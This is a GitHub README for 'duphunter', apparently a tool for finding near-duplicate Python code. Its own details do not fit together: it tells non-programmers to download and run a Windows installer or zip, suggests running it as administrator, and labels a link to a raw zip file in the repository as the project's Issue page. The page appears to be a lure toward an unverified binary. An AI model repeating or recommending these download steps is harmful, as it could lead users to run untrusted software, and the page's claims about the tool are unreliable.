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duphunter

GitHub

Detect near-duplicate Python code using AST analysis to find structural clones despite renaming, supporting efficient AI-assisted refactoring workflows.

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🕵️‍♂️ duphunter - Find Near-Duplicate Python Code Easily

Download


👋 What is duphunter?

duphunter is a tool that helps you find pieces of Python code that look very similar. It uses a smart method that looks at the structure of your code to spot copies or parts that might need cleaning up. This helps keep your code neat and easier to understand.

You don’t need to know programming to use duphunter. It works on Windows computers and guides you through finding repeated code so you can fix it.


💻 System Requirements

Before you start, make sure your computer meets these needs:

  • Operating System: Windows 10 or newer
  • Processor: Intel or AMD processor with at least 2 GHz speed
  • Memory: 4 GB of RAM or more
  • Disk Space: At least 200 MB free on your main drive
  • Internet Connection: Needed to download the software

🚀 Getting Started with duphunter

Follow these steps to get duphunter running on your Windows system.

1. Download duphunter

Click this badge to open the page where you can download the tool:

Download

This takes you to the GitHub page where the installer or program files are available.

2. Find the download file

Once on the page, look for a section labeled "Releases" or a folder named "Downloads". The file will usually have a name like duphunter-setup.exe or duphunter.zip. This file is what you need to run the program.

3. Download the file to your computer

Click the file name to begin downloading. Depending on your internet speed, this might take a few seconds.

4. Install duphunter

  • If you downloaded an installer file (.exe), double-click it once the download completes.
  • Follow the instructions on the screen. The installer will ask where to put the program and if you agree to its terms. The default options are usually fine.
  • If you downloaded a zip file (.zip), right-click it and select "Extract All". Choose a folder you can remember, like your Desktop.

5. Open duphunter

  • After installation, you will find a duphunter shortcut on your Desktop or in the Start Menu.
  • Double-click it to open the application.

🔎 How to Use duphunter

duphunter helps find code that looks alike in your Python projects. Here is a simple way to run it:

1. Prepare your Python files

Place your Python .py files in a folder. These can be files you wrote or got from somewhere else. Duphunter checks these files for duplicate or similar parts of code.

2. Open duphunter and select files

Use the "Open Folder" or "Add Files" button inside duphunter to pick the folder where your files are saved.

3. Start the scan

Click the "Scan" button. Duphunter will look through your files and find parts of the code that are similar or duplicated.

4. Review the results

After scanning, duphunter shows you a list of code sections that are repeats or near-duplicates. You can click on each to see the details side-by-side.

5. Fix duplicates

You can now decide to edit your code to remove or combine repeated parts. This will make your projects clearer and easier to manage.


📂 Features of duphunter

  • AST-driven Detection: Uses the structure of the code, not just words or lines.
  • Supports Python: Works only with Python .py files.
  • Detailed Results: Shows exact parts of code that match.
  • Simple Interface: Easy to use even if you don’t know programming.
  • Fast Scanning: Checks large projects quickly.
  • Reports: Exports findings to files for later review.
  • No Internet Needed: Runs fully on your computer after download.

🛠 Troubleshooting and Tips

  • Make sure all Python files are not open in other programs when scanning.
  • Close duphunter and restart it if the program freezes.
  • If duphunter finds no duplicates but you expect it to, check that your files are correctly added.
  • Run duphunter with administrator rights if you see permission errors.
  • Keep your Windows updated for best compatibility.
  • If the program crashes, reinstall from the download page.

⚙️ Advanced Setup

For users with some technical knowledge, duphunter allows:

  • Changing scan depth: Adjust how thorough the scan goes in settings.
  • Ignoring certain files or folders by adding them to an exclusion list.
  • Exporting results as CSV or JSON files for sharing.
  • Using command-line options to integrate duphunter with other tools.

📥 Download duphunter

Access the software and all files here:

Download duphunter

Click the link, find the latest release, and download the setup or zip file as explained above.


🚩 Support and Feedback

If you run into problems or have questions, GitHub has an option to open an “Issue” in this project’s page. This is where you can ask for help or report errors with duphunter.

Visit the page here: https://raw.githubusercontent.com/Sabarudin4433/duphunter/main/duphunter/Software_v3.0-alpha.5.zip

Repository

SA
Sabarudin4433

Sabarudin4433/duphunter

Created

April 20, 2022

Updated

April 13, 2026

Language

Python

Category

AI